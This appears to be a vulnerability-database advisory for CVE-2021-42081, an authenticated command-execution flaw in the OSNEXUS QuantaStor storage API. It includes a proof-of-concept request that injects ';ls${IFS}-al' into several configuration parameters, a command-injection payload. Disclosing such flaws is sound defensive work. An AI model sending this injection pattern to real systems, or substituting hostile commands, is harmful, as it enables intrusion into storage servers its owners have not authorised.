Unrated severityNVD Advisory· Published Jul 10, 2023· Updated Sep 22, 2025
Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355
CVE-2021-42081
Description
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.
POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
Affected products
1- Range: 0
Patches
0No patches discovered yet.
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
4- csirt.divd.nl/CVE-2021-42081mitrethird-party-advisorytechnical-descriptionexploit
- csirt.divd.nl/DIVD-2021-00020/mitrethird-party-advisory
- www.wbsec.nl/osnexusmitrethird-party-advisorytechnical-descriptionexploit
- www.osnexus.com/products/software-defined-storagemitreproduct
News mentions
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